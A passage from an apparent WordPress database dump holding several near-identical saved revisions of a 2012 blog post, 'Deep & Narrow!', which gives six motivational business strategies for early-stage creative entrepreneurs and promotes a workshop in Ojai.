they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else because it would not be in their interest to do so. The marketplace will reward those entrepreneurs who earn and deserve, never because they desire or need. Enlightened entrepreneurs know opportunity in business (and life) only comes after creating value for others first.\r\n\r\n<strong>Go deep and narrow and take a quantum leap in your progress.</strong>\r\n\r\nWhen you develop the focused thinking and action required to implement these business development strategies as a daily practice, you’ll be astonished at how fast your breakthroughs in growth will occur, and how energized you will be to innovate ever greater value for people. Your progress will be in quantum leaps rather than incremental spikes. The reason is simple– you become free to laser focus on your most important activities, relationships and opportunities to provide greater value to people–increased revenue and profits are the natural result.\r\n\r\nYou’ll also notice all your relationships in life will become richer and more meaningful as a result of how much value you are bringing to the world through the venue of your creative business. Indeed, the lasting reward, beyond money making and financial success, is the knowledge that you are having an impact and making a real difference for the good of others. That’s how you create a value monopoly and a red hot business that will reward you for a lifetime.\r\n\r\n</div>', 'Deep & Narrow!', 0, '', 'inherit', 'open', 'open', '', '2136-revision-3', '', '', '2012-08-12 06:36:14', '2012-08-12 13:36:14', '', 2136, 'http://www.whitehotcenter.com/2012/08/2136-revision-3/', 0, 'revision', '', 0),
(2141, 2, '2012-08-12 06:39:40', '2012-08-12 13:39:40', '<img class="alignnone size-full wp-image-2137" title="deep &amp; Narrow expertise" src="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg" alt="" width="495" height="265" />\n<h1><span style="color: #808080;">Laser focused strategies for early stage entrepreneurs to create a red hot business from the core of their white hot center.</span></h1>\n<div>\n\nIf you’re an early-stage creative entrepreneur at the beginning of your business success journey, I’m confidant the number one concern on your mind is how can you build a successful red-hot business that enables you increased creative and financial freedom to engage in the great work that matters to you and serves your clients and customers in ways that deeply matter to them.\n\nMost likely, you’re in business for the love of doing what matters deeply to you. You desire to build your red-hot business from the deep core of your white-hot center. You are the business and the business is you. Your business is the authentic and highest expression of who you are and the contribution you make in the world. Your business is a sacred mission. Chances are you view the “work” of your business as fundamental to your life purpose.\n\nYour decision to venture out and run your own show was most likely made for many more important considerations than simple money making. As fundamental as money making is to your business and life success, you view the money as the exhaust of your entrepreneurial engine not the gasoline. Through your business, you want to add to the life of the world bringing great value to people in meaningful ways.\n<h2>Love is not enough to guarantee your business success.</h2>\nIn every business category today, more businesses are being commoditized by the sheer abundance of choices customers have. This is true if your business sells products or provides services. This is true for businesses large and small. Customers have abundant choice. It’s customers who decide who leads and who fails. When customers have abundant choice, the competition will always be fierce.\n\nHow do you differentiate your business in ways that matter to your customers? How do you command premium prices and enjoy greater profit margins when everyone else is fighting to break even? More importantly, how do you, a creative entrepreneur, gain radical advantage over your more established competitors in an ultra-competitive marketplace?\n\nIf you’re serious about the growth and success of your business, I’m sure these questions swirl around inside your head on a daily basis. Your love of what you do for clients and customers, as important as that is to you, is not enough to guarantee the sustained success of your business. If you want to build a great business, you’ll need to develop additional capabilities and expertise that are often outside the scope of  “the work” of serving the needs of clients and customers.\n<h2><strong>To enjoy competitive advantage in your business, you’ll have to go deep and narrow into what makes you matter to customers.</strong></h2>\nFor many early stage entrepreneurs, the learning curve inherent in taking their business to the next level can be steep and progress can be slow. To help shorten your learning curve and unlock your creative powers, allow me to offer six strategies for growing a red hot business that will energize and sustain you for a lifetime.\n\n<strong><em>Deep &amp; Narrow Strategy One–As you think, so it becomes</em></strong>\nIf you fear your competitors, and believe their presence controls your success, they will. On the other hand, if you believe there is an abundance of opportunity always available for you, and your thinking is always in that inspired direction, opportunity will always be present for you.  As you think, so it becomes. Every great thing that ever was, is now, or ever will be, is first a formless thought within the creative imagination. What dominates your mental thinking will show up in the form of the reality of your experience. All great success begins with great thinking in a certain way.\n\n<strong><em>Deep &amp; Narrow Strategy Two– Do what matters to you and serves the good of others.</em></strong>\nYour business must be a reflection of two essential components–what really matters to you, and what matters to customers. Your business must bring meaning and joy to your life. More importantly, what brings meaning to you must serve the good of customers as well. One is no good without the other. They are two sides of a coin. The creative combination of these two elements powers an ever-evolving process for innovation and increasing your value to customers. When you align your business activities around your core purpose, you begin to realize there are no limits to your growth and success. You will delight in asking yourself ” how far can I go with this idea?”\n\n<strong><em>Deep &amp; Narrow Strategy Three– Be different and make a difference.</em></strong>\nThere are only two positions in a customer’s mind you can occupy– order-taker or value-creator. In a commoditized world with abundant choice, “good” means the same as everybody else. Everything is good… good enough. Good is the slush pile. To enjoy competitive advantage, your business must provide outcomes that are highly valued by your customers–and not in abundant supply from somebody else. To radically differentiate your business from the slush pile of good, you must position your value proposition within a deep and narrow focus. When you are known as the expert at solving a specific problem, customers come to you! You remove competition. Prospecting for new clients becomes more focused and effective. You don’t bid for jobs, because your expertise allows you to be selective! You only engage with clients who are a good fit for you–who are a joy to work with, and gladly pay a premium to do business with you.\n\n<strong><em>Deep &amp; Narrow Strategy Four– Provide more use value than customers pay in cash value</em></strong><em>.</em>\nThis strategy is the source code for wealth creation. Providing your clients and customers with more “use value” than they pay you in cash does not mean you do something for less money. On the contrary! This strategy simply proposes that whatever the amount of cash your customer pays you is always reciprocated with a perceived experience of greater use value. You must understand that value is never created in the competitive realm (think hard bargains and lowest price), rather it comes from the creative realm (inspired thought and innovation). Whenever customers perceive greater value in the use of your product or service than they paid in cash for it, they become raving, loyal customers, and outright non-paid advocates of your business.\n\n<strong><em>Deep &amp; Narrow Strategy Five–Focus on your Genius.</em></strong>\nYou have within you a unique blending of talents and capabilities with the inherent wisdom to use these unique gifts to create massive competitive advantage in your business. In my experience working with hundreds of business owners, I’ve found there are two types of entrepreneurs– rugged individualists who do everything all by themselves, and those who recognize their unique genius, focus only on their expression of it in the world, and delegate everything else to others. Take some time to reflect on your unique genius and how you can build an amazing team of genius collaborators creating a force multiplier to take your business to the next level at light speed.\n\n<strong><em>Deep &amp; Narrow Strategy Six– Turn customers into your non-paid sales force.</em></strong>\nTo enjoy competitive advantage, your business requires more than happy, loyal clients. It requires clients who act as non-paid advocates (sales people) of your business. Advocate clients are the ones who believe you walk on water.  Advocate clients believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else because it would not be in their interest to do so. The marketplace will reward those entrepreneurs who earn and deserve, never because they desire or need. Enlightened entrepreneurs know opportunity in business (and life) only comes after creating value for others first.\n\n<strong>Go deep and narrow and take a quantum leap in your progress.</strong>\n\nWhen you develop the focused thinking and action required to implement these business development strategies as a daily practice, you’ll be astonished at how fast your breakthroughs in growth will occur, and how energized you will be to innovate ever greater value for people. Your progress will be in quantum leaps rather than incremental spikes. The reason is simple– you become free to laser focus on your most important activities, relationships and opportunities to provide greater value to people–increased revenue and profits are the natural result.\n\nYou’ll also notice all your relationships in life will become richer and more meaningful as a result of how much value you are bringing to the world through the venue of your creative business. Indeed, the lasting reward, beyond money making and financial success, is the knowledge that you are having an impact and making a real difference for the good of others. That’s how you create a value monopoly and a red hot business that will reward you for a lifetime.\n\nEditors Note:\nIf you want to go deeper with these ideas, the WHC is planning a Quantum Leap Workshop in November 2012 in Ojai, California. <strong>Details here.</strong>\n\n</div>', 'Deep & Narrow!', 0, '', 'inherit', 'open', 'open', '', '2136-revision-4', '', '', '2012-08-12 06:39:40', '2012-08-12 13:39:40', '', 2136, 'http://www.whitehotcenter.com/2012/08/2136-revision-4/', 0, 'revision', '', 0),
(2142, 2, '2012-08-12 06:40:14', '2012-08-12 13:40:14', '<img class="alignnone size-full wp-image-2137" title="deep &amp; Narrow expertise" src="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg" alt="" width="495" height="265" />\r\n<h1><span style="color: #808080;">Laser focused strategies for early stage entrepreneurs to create a red hot business from the core of their white hot center.</span></h1>\r\n<div>\r\n\r\nIf you’re an early-stage creative entrepreneur at the beginning of your business success journey, I’m confidant the number one concern on your mind is how can you build a successful red-hot business that enables you increased creative and financial freedom to engage in the great work that matters to you and serves your clients and customers in ways that deeply matter to them.\r\n\r\nMost likely, you’re in business for the love of doing what matters deeply to you. You desire to build your red-hot business from the deep core of your white-hot center. You are the business and the business is you. Your business is the authentic and highest expression of who you are and the contribution you make in the world. Your business is a sacred mission. Chances are you view the “work” of your business as fundamental to your life purpose.\r\n\r\nYour decision to venture out and run your own show was most likely made for many more important considerations than simple money making. As fundamental as money making is to your business and life success, you view the money as the exhaust of your entrepreneurial engine not the gasoline. Through your business, you want to add to the life of the world bringing great value to people in meaningful ways.\r\n<h2>Love is not enough to guarantee your business success.</h2>\r\nIn every business category today, more businesses are being commoditized by the sheer abundance of choices customers have. This is true if your business sells products or provides services. This is true for businesses large and small. Customers have abundant choice. It’s customers who decide who leads and who fails. When customers have abundant choice, the competition will always be fierce.\r\n\r\nHow do you differentiate your business in ways that matter to your customers? How do you command premium prices and enjoy greater profit margins when everyone else is fighting to break even? More importantly, how do you, a creative entrepreneur, gain radical advantage over your more established competitors in an ultra-competitive marketplace?\r\n\r\nIf you’re serious about the growth and success of your business, I’m sure these questions swirl around inside your head on a daily basis. Your love of what you do for clients and customers, as important as that is to you, is not enough to guarantee the sustained success of your business. If you want to build a great business, you’ll need to develop additional capabilities and expertise that are often outside the scope of  “the work” of serving the needs of clients and customers.\r\n<h2><strong>To enjoy competitive advantage in your business, you’ll have to go deep and narrow into what makes you matter to customers.</strong></h2>\r\nFor many early stage entrepreneurs, the learning curve inherent in taking their business to the next level can be steep and progress can be slow. To help shorten your learning curve and unlock your creative powers, allow me to offer six strategies for growing a red hot business that will energize and sustain you for a lifetime.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy One–As you think, so it becomes</em></strong>\r\nIf you fear your competitors, and believe their presence controls your success, they will. On the other hand, if you believe there is an abundance of opportunity always available for you, and your thinking is always in that inspired direction, opportunity will always be present for you.  As you think, so it becomes. Every great thing that ever was, is now, or ever will be, is first a formless thought within the creative imagination. What dominates your mental thinking will show up in the form of the reality of your experience. All great success begins with great thinking in a certain way.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Two– Do what matters to you and serves the good of others.</em></strong>\r\nYour business must be a reflection of two essential components–what really matters to you, and what matters to customers. Your business must bring meaning and joy to your life. More importantly, what brings meaning to you must serve the good of customers as well. One is no good without the other. They are two sides of a coin. The creative combination of these two elements powers an ever-evolving process for innovation and increasing your value to customers. When you align your business activities around your core purpose, you begin to realize there are no limits to your growth and success. You will delight in asking yourself ” how far can I go with this idea?”\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Three– Be different and make a difference.</em></strong>\r\nThere are only two positions in a customer’s mind you can occupy– order-taker or value-creator. In a commoditized world with abundant choice, “good” means the same as everybody else. Everything is good… good enough. Good is the slush pile. To enjoy competitive advantage, your business must provide outcomes that are highly valued by your customers–and not in abundant supply from somebody else. To radically differentiate your business from the slush pile of good, you must position your value proposition within a deep and narrow focus. When you are known as the expert at solving a specific problem, customers come to you! You remove competition. Prospecting for new clients becomes more focused and effective. You don’t bid for jobs, because your expertise allows you to be selective! You only engage with clients who are a good fit for you–who are a joy to work with, and gladly pay a premium to do business with you.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Four– Provide more use value than customers pay in cash value</em></strong><em>.</em>\r\nThis strategy is the source code for wealth creation. Providing your clients and customers with more “use value” than they pay you in cash does not mean you do something for less money. On the contrary! This strategy simply proposes that whatever the amount of cash your customer pays you is always reciprocated with a perceived experience of greater use value. You must understand that value is never created in the competitive realm (think hard bargains and lowest price), rather it comes from the creative realm (inspired thought and innovation). Whenever customers perceive greater value in the use of your product or service than they paid in cash for it, they become raving, loyal customers, and outright non-paid advocates of your business.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Five–Focus on your Genius.</em></strong>\r\nYou have within you a unique blending of talents and capabilities with the inherent wisdom to use these unique gifts to create massive competitive advantage in your business. In my experience working with hundreds of business owners, I’ve found there are two types of entrepreneurs– rugged individualists who do everything all by themselves, and those who recognize their unique genius, focus only on their expression of it in the world, and delegate everything else to others. Take some time to reflect on your unique genius and how you can build an amazing team of genius collaborators creating a force multiplier to take your business to the next level at light speed.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Six– Turn customers into your non-paid sales force.</em></strong>\r\nTo enjoy competitive advantage, your business requires more than happy, loyal clients. It requires clients who act as non-paid advocates (sales people) of your business. Advocate clients are the ones who believe you walk on water.  Advocate clients believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else because it would not be in their interest to do so. The marketplace will reward those entrepreneurs who earn and deserve, never because they desire or need. Enlightened entrepreneurs know opportunity in business (and life) only comes after creating value for others first.\r\n\r\n<strong>Go deep and narrow and take a quantum leap in your progress.</strong>\r\n\r\nWhen you develop the focused thinking and action required to implement these business development strategies as a daily practice, you’ll be astonished at how fast your breakthroughs in growth will occur, and how energized you will be to innovate ever greater value for people. Your progress will be in quantum leaps rather than incremental spikes. The reason is simple– you become free to laser focus on your most important activities, relationships and opportunities to provide greater value to people–increased revenue and profits are the natural result.\r\n\r\nYou’ll also notice all your relationships in life will become richer and more meaningful as a result of how much value you are bringing to the world through the venue of your creative business. Indeed, the lasting reward, beyond money making and financial success, is the knowledge that you are having an impact and making a real difference for the good of others. That’s how you create a value monopoly and a red hot business that will reward you for a lifetime.\r\n\r\nEditors Note:\r\nIf you want to go deeper with these ideas, the WHC is planning a Quantum Leap Workshop in November 2012 in Ojai, California. <a href="http://whc.fbdev.org/hot-info/" target="_blank"><strong>Details here.</strong></a>\r\n\r\n</div>', 'Deep & Narrow!', 0, '', 'inherit', 'open', 'open', '', '2136-revision-5', '', '', '2012-08-12 06:40:14', '2012-08-12 13:40:14', '', 2136, 'http://www.whitehotcenter.com/2012/08/2136-revision-5/', 0, 'revision', '', 0);
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(2143, 2, '2012-08-12 06:40:24', '2012-08-12 13:40:24', '<img class="alignnone size-full wp-image-2137" title="deep &amp; Narrow expertise" src="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg" alt="" width="495" height="265" />\r\n<h1><span style="color: #808080;">Laser focused strategies for early stage entrepreneurs to create a red hot business from the core of their white hot center.</span></h1>\r\n<div>\r\n\r\nIf you’re an early-stage creative entrepreneur at the beginning of your business success journey, I’m confidant the number one concern on your mind is how can you build a successful red-hot business that enables you increased creative and financial freedom to engage in the great work that matters to you and serves your clients and customers in ways that deeply matter to them.\r\n\r\nMost likely, you’re in business for the love of doing what matters deeply to you. You desire to build your red-hot business from the deep core of your white-hot center. You are the business and the business is you. Your business is the authentic and highest expression of who you are and the contribution you make in the world. Your business is a sacred mission. Chances are you view the “work” of your business as fundamental to your life purpose.\r\n\r\nYour decision to venture out and run your own show was most likely made for many more important considerations than simple money making. As fundamental as money making is to your business and life success, you view the money as the exhaust of your entrepreneurial engine not the gasoline. Through your business, you want to add to the life of the world bringing great value to people in meaningful ways.\r\n<h2>Love is not enough to guarantee your business success.</h2>\r\nIn every business category today, more businesses are being commoditized by the sheer abundance of choices customers have. This is true if your business sells products or provides services. This is true for businesses large and small. Customers have abundant choice. It’s customers who decide who leads and who fails. When customers have abundant choice, the competition will always be fierce.\r\n\r\nHow do you differentiate your business in ways that matter to your customers? How do you command premium prices and enjoy greater profit margins when everyone else is fighting to break even? More importantly, how do you, a creative entrepreneur, gain radical advantage over your more established competitors in an ultra-competitive marketplace?\r\n\r\nIf you’re serious about the growth and success of your business, I’m sure these questions swirl around inside your head on a daily basis. Your love of what you do for clients and customers, as important as that is to you, is not enough to guarantee the sustained success of your business. If you want to build a great business, you’ll need to develop additional capabilities and expertise that are often outside the scope of  “the work” of serving the needs of clients and customers.\r\n<h2><strong>To enjoy competitive advantage in your business, you’ll have to go deep and narrow into what makes you matter to customers.</strong></h2>\r\nFor many early stage entrepreneurs, the learning curve inherent in taking their business to the next level can be steep and progress can be slow. To help shorten your learning curve and unlock your creative powers, allow me to offer six strategies for growing a red hot business that will energize and sustain you for a lifetime.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy One–As you think, so it becomes</em></strong>\r\nIf you fear your competitors, and believe their presence controls your success, they will. On the other hand, if you believe there is an abundance of opportunity always available for you, and your thinking is always in that inspired direction, opportunity will always be present for you.  As you think, so it becomes. Every great thing that ever was, is now, or ever will be, is first a formless thought within the creative imagination. What dominates your mental thinking will show up in the form of the reality of your experience. All great success begins with great thinking in a certain way.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Two– Do what matters to you and serves the good of others.</em></strong>\r\nYour business must be a reflection of two essential components–what really matters to you, and what matters to customers. Your business must bring meaning and joy to your life. More importantly, what brings meaning to you must serve the good of customers as well. One is no good without the other. They are two sides of a coin. The creative combination of these two elements powers an ever-evolving process for innovation and increasing your value to customers. When you align your business activities around your core purpose, you begin to realize there are no limits to your growth and success. You will delight in asking yourself ” how far can I go with this idea?”\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Three– Be different and make a difference.</em></strong>\r\nThere are only two positions in a customer’s mind you can occupy– order-taker or value-creator. In a commoditized world with abundant choice, “good” means the same as everybody else. Everything is good… good enough. Good is the slush pile. To enjoy competitive advantage, your business must provide outcomes that are highly valued by your customers–and not in abundant supply from somebody else. To radically differentiate your business from the slush pile of good, you must position your value proposition within a deep and narrow focus. When you are known as the expert at solving a specific problem, customers come to you! You remove competition. Prospecting for new clients becomes more focused and effective. You don’t bid for jobs, because your expertise allows you to be selective! You only engage with clients who are a good fit for you–who are a joy to work with, and gladly pay a premium to do business with you.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Four– Provide more use value than customers pay in cash value</em></strong><em>.</em>\r\nThis strategy is the source code for wealth creation. Providing your clients and customers with more “use value” than they pay you in cash does not mean you do something for less money. On the contrary! This strategy simply proposes that whatever the amount of cash your customer pays you is always reciprocated with a perceived experience of greater use value. You must understand that value is never created in the competitive realm (think hard bargains and lowest price), rather it comes from the creative realm (inspired thought and innovation). Whenever customers perceive greater value in the use of your product or service than they paid in cash for it, they become raving, loyal customers, and outright non-paid advocates of your business.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Five–Focus on your Genius.</em></strong>\r\nYou have within you a unique blending of talents and capabilities with the inherent wisdom to use these unique gifts to create massive competitive advantage in your business. In my experience working with hundreds of business owners, I’ve found there are two types of entrepreneurs– rugged individualists who do everything all by themselves, and those who recognize their unique genius, focus only on their expression of it in the world, and delegate everything else to others. Take some time to reflect on your unique genius and how you can build an amazing team of genius collaborators creating a force multiplier to take your business to the next level at light speed.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Six– Turn customers into your non-paid sales force.</em></strong>\r\nTo enjoy competitive advantage, your business requires more than happy, loyal clients. It requires clients who act as non-paid advocates (sales people) of your business. Advocate clients are the ones who believe you walk on water.  Advocate clients believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else because it would not be in their interest to do so. The marketplace will reward those entrepreneurs who earn and deserve, never because they desire or need. Enlightened entrepreneurs know opportunity in business (and life) only comes after creating value for others first.\r\n\r\n<strong>Go deep and narrow and take a quantum leap in your progress.</strong>\r\n\r\nWhen you develop the focused thinking and action required to implement these business development strategies as a daily practice, you’ll be astonished at how fast your breakthroughs in growth will occur, and how energized you will be to innovate ever greater value for people. Your progress will be in quantum leaps rather than incremental spikes. The reason is simple– you become free to laser focus on your most important activities, relationships and opportunities to provide greater value to people–increased revenue and profits are the natural result.\r\n\r\nYou’ll also notice all your relationships in life will become richer and more meaningful as a result of how much value you are bringing to the world through the venue of your creative business. Indeed, the lasting reward, beyond money making and financial success, is the knowledge that you are having an impact and making a real difference for the good of others. That’s how you create a value monopoly and a red hot business that will reward you for a lifetime.\r\n\r\nEditors Note:\r\nIf you want to go deeper with these ideas, the WHC is planning a Quantum Leap Workshop in November 2012 in Ojai, California. <a href="http://whc.fbdev.org/hot-info/" target="_blank"><strong>Details here.</strong></a>\r\n\r\n</div>', 'Deep & Narrow!', 0, '', 'inherit', 'open', 'open', '', '2136-revision-6', '', '', '2012-08-12 06:40:24', '2012-08-12 13:40:24', '', 2136, 'http://www.whitehotcenter.com/2012/08/2136-revision-6/', 0, 'revision', '', 0),
(2144, 2, '2012-08-12 06:40:36', '2012-08-12 13:40:36', '<img class="alignnone size-full wp-image-2137" title="deep &amp; Narrow expertise" src="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg" alt="" width="495" height="265" />\r\n<h1><span style="color: #808080;">Laser focused strategies for early stage entrepreneurs to create a red hot business from the core of their white hot center.</span></h1>\r\n<div>\r\n\r\nIf you’re an early-stage creative entrepreneur at the beginning of your business success journey, I’m confidant the number one concern on your mind is how can you build a successful red-hot business that enables you increased creative and financial freedom to engage in the great work that matters to you and serves your clients and customers in ways that deeply matter to them.\r\n\r\nMost likely, you’re in business for the love of doing what matters deeply to you. You desire to build your red-hot business from the deep core of your white-hot center. You are the business and the business is you. Your business is the authentic and highest expression of who you are and the contribution you make in the world. Your business is a sacred mission. Chances are you view the “work” of your business as fundamental to your life purpose.\r\n\r\nYour decision to venture out and run your own show was most likely made for many more important considerations than simple money making. As fundamental as money making is to your business and life success, you view the money as the exhaust of your entrepreneurial engine not the gasoline. Through your business, you want to add to the life of the world bringing great value to people in meaningful ways.\r\n<h2>Love is not enough to guarantee your business success.</h2>\r\nIn every business category today, more businesses are being commoditized by the sheer abundance of choices customers have. This is true if your business sells products or provides services. This is true for businesses large and small. Customers have abundant choice. It’s customers who decide who leads and who fails. When customers have abundant choice, the competition will always be fierce.\r\n\r\nHow do you differentiate your business in ways that matter to your customers? How do you command premium prices and enjoy greater profit margins when everyone else is fighting to break even? More importantly, how do you, a creative entrepreneur, gain radical advantage over your more established competitors in an ultra-competitive marketplace?\r\n\r\nIf you’re serious about the growth and success of your business, I’m sure these questions swirl around inside your head on a daily basis. Your love of what you do for clients and customers, as important as that is to you, is not enough to guarantee the sustained success of your business. If you want to build a great business, you’ll need to develop additional capabilities and expertise that are often outside the scope of  “the work” of serving the needs of clients and customers.\r\n<h2><strong>To enjoy competitive advantage in your business, you’ll have to go deep and narrow into what makes you matter to customers.</strong></h2>\r\nFor many early stage entrepreneurs, the learning curve inherent in taking their business to the next level can be steep and progress can be slow. To help shorten your learning curve and unlock your creative powers, allow me to offer six strategies for growing a red hot business that will energize and sustain you for a lifetime.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy One–As you think, so it becomes</em></strong>\r\nIf you fear your competitors, and believe their presence controls your success, they will. On the other hand, if you believe there is an abundance of opportunity always available for you, and your thinking is always in that inspired direction, opportunity will always be present for you.  As you think, so it becomes. Every great thing that ever was, is now, or ever will be, is first a formless thought within the creative imagination. What dominates your mental thinking will show up in the form of the reality of your experience. All great success begins with great thinking in a certain way.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Two– Do what matters to you and serves the good of others.</em></strong>\r\nYour business must be a reflection of two essential components–what really matters to you, and what matters to customers. Your business must bring meaning and joy to your life. More importantly, what brings meaning to you must serve the good of customers as well. One is no good without the other. They are two sides of a coin. The creative combination of these two elements powers an ever-evolving process for innovation and increasing your value to customers. When you align your business activities around your core purpose, you begin to realize there are no limits to your growth and success. You will delight in asking yourself ” how far can I go with this idea?”\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Three– Be different and make a difference.</em></strong>\r\nThere are only two positions in a customer’s mind you can occupy– order-taker or value-creator. In a commoditized world with abundant choice, “good” means the same as everybody else. Everything is good… good enough. Good is the slush pile. To enjoy competitive advantage, your business must provide outcomes that are highly valued by your customers–and not in abundant supply from somebody else. To radically differentiate your business from the slush pile of good, you must position your value proposition within a deep and narrow focus. When you are known as the expert at solving a specific problem, customers come to you! You remove competition. Prospecting for new clients becomes more focused and effective. You don’t bid for jobs, because your expertise allows you to be selective! You only engage with clients who are a good fit for you–who are a joy to work with, and gladly pay a premium to do business with you.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Four– Provide more use value than customers pay in cash value</em></strong><em>.</em>\r\nThis strategy is the source code for wealth creation. Providing your clients and customers with more “use value” than they pay you in cash does not mean you do something for less money. On the contrary! This strategy simply proposes that whatever the amount of cash your customer pays you is always reciprocated with a perceived experience of greater use value. You must understand that value is never created in the competitive realm (think hard bargains and lowest price), rather it comes from the creative realm (inspired thought and innovation). Whenever customers perceive greater value in the use of your product or service than they paid in cash for it, they become raving, loyal customers, and outright non-paid advocates of your business.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Five–Focus on your Genius.</em></strong>\r\nYou have within you a unique blending of talents and capabilities with the inherent wisdom to use these unique gifts to create massive competitive advantage in your business. In my experience working with hundreds of business owners, I’ve found there are two types of entrepreneurs– rugged individualists who do everything all by themselves, and those who recognize their unique genius, focus only on their expression of it in the world, and delegate everything else to others. Take some time to reflect on your unique genius and how you can build an amazing team of genius collaborators creating a force multiplier to take your business to the next level at light speed.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Six– Turn customers into your non-paid sales force.</em></strong>\r\nTo enjoy competitive advantage, your business requires more than happy, loyal clients. It requires clients who act as non-paid advocates (sales people) of your business. Advocate clients are the ones who believe you walk on water.  Advocate clients believe they are receiving more compelling value doing business with you as opposed to your competition, and they wouldn’t think of working with anyone else because it would not be in their interest to do so. The marketplace will reward those entrepreneurs who earn and deserve, never because they desire or need. Enlightened entrepreneurs know opportunity in business (and life) only comes after creating value for others first.\r\n\r\n<strong>Go deep and narrow and take a quantum leap in your progress.</strong>\r\n\r\nWhen you develop the focused thinking and action required to implement these business development strategies as a daily practice, you’ll be astonished at how fast your breakthroughs in growth will occur, and how energized you will be to innovate ever greater value for people. Your progress will be in quantum leaps rather than incremental spikes. The reason is simple– you become free to laser focus on your most important activities, relationships and opportunities to provide greater value to people–increased revenue and profits are the natural result.\r\n\r\nYou’ll also notice all your relationships in life will become richer and more meaningful as a result of how much value you are bringing to the world through the venue of your creative business. Indeed, the lasting reward, beyond money making and financial success, is the knowledge that you are having an impact and making a real difference for the good of others. That’s how you create a value monopoly and a red hot business that will reward you for a lifetime.\r\n\r\nEditors Note:\r\nIf you want to go deeper with these ideas, the WHC is planning a Quantum Leap Workshop in November 2012 in Ojai, California. <a href="http://whc.fbdev.org/hot-info/" target="_blank"><strong>Details here.</strong></a>\r\n\r\n</div>', 'Deep & Narrow!', 0, '', 'inherit', 'open', 'open', '', '2136-revision-7', '', '', '2012-08-12 06:40:36', '2012-08-12 13:40:36', '', 2136, 'http://www.whitehotcenter.com/2012/08/2136-revision-7/', 0, 'revision', '', 0),
(2145, 2, '2012-08-12 06:42:43', '2012-08-12 13:42:43', '<img class="alignnone size-full wp-image-2137" title="deep &amp; Narrow expertise" src="http://whc.fbdev.org/wp-content/uploads/2012/08/deepnarrow2.jpg" alt="" width="495" height="265" />\r\n<h1><span style="color: #808080;">Laser focused strategies for early stage entrepreneurs to create a red hot business from the core of their white hot center.</span></h1>\r\n<div>\r\n\r\nIf you’re an early-stage creative entrepreneur at the beginning of your business success journey, I’m confidant the number one concern on your mind is how can you build a successful red-hot business that enables you increased creative and financial freedom to engage in the great work that matters to you and serves your clients and customers in ways that deeply matter to them.\r\n\r\nMost likely, you’re in business for the love of doing what matters deeply to you. You desire to build your red-hot business from the deep core of your white-hot center. You are the business and the business is you. Your business is the authentic and highest expression of who you are and the contribution you make in the world. Your business is a sacred mission. Chances are you view the “work” of your business as fundamental to your life purpose.\r\n\r\nYour decision to venture out and run your own show was most likely made for many more important considerations than simple money making. As fundamental as money making is to your business and life success, you view the money as the exhaust of your entrepreneurial engine not the gasoline. Through your business, you want to add to the life of the world bringing great value to people in meaningful ways.\r\n<h2>Love is not enough to guarantee your business success.</h2>\r\nIn every business category today, more businesses are being commoditized by the sheer abundance of choices customers have. This is true if your business sells products or provides services. This is true for businesses large and small. Customers have abundant choice. It’s customers who decide who leads and who fails. When customers have abundant choice, the competition will always be fierce.\r\n\r\nHow do you differentiate your business in ways that matter to your customers? How do you command premium prices and enjoy greater profit margins when everyone else is fighting to break even? More importantly, how do you, a creative entrepreneur, gain radical advantage over your more established competitors in an ultra-competitive marketplace?\r\n\r\nIf you’re serious about the growth and success of your business, I’m sure these questions swirl around inside your head on a daily basis. Your love of what you do for clients and customers, as important as that is to you, is not enough to guarantee the sustained success of your business. If you want to build a great business, you’ll need to develop additional capabilities and expertise that are often outside the scope of  “the work” of serving the needs of clients and customers.\r\n<h2><strong>To enjoy competitive advantage in your business, you’ll have to go deep and narrow into what makes you matter to customers.</strong></h2>\r\nFor many early stage entrepreneurs, the learning curve inherent in taking their business to the next level can be steep and progress can be slow. To help shorten your learning curve and unlock your creative powers, allow me to offer six strategies for growing a red hot business that will energize and sustain you for a lifetime.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy One–As you think, so it becomes</em></strong>\r\nIf you fear your competitors, and believe their presence controls your success, they will. On the other hand, if you believe there is an abundance of opportunity always available for you, and your thinking is always in that inspired direction, opportunity will always be present for you.  As you think, so it becomes. Every great thing that ever was, is now, or ever will be, is first a formless thought within the creative imagination. What dominates your mental thinking will show up in the form of the reality of your experience. All great success begins with great thinking in a certain way.\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Two– Do what matters to you and serves the good of others.</em></strong>\r\nYour business must be a reflection of two essential components–what really matters to you, and what matters to customers. Your business must bring meaning and joy to your life. More importantly, what brings meaning to you must serve the good of customers as well. One is no good without the other. They are two sides of a coin. The creative combination of these two elements powers an ever-evolving process for innovation and increasing your value to customers. When you align your business activities around your core purpose, you begin to realize there are no limits to your growth and success. You will delight in asking yourself ” how far can I go with this idea?”\r\n\r\n<strong><em>Deep &amp; Narrow Strategy Three– Be different and make a difference.</em></strong>\r\nThere are only two positions in a customer’s mind you can occupy– order-taker or value-creator. In a commoditized world with abundant choice, “good” means the same as everybody else. Everything is good… good enough. Good is the slush pile. To enjoy competitive advantage, your business must provide outcomes that are highly valued by your customers–and not in abundant supply from somebody else. To radically differentiate your business from the slush pile of good, you must position your value proposition within a deep and narrow focus. When 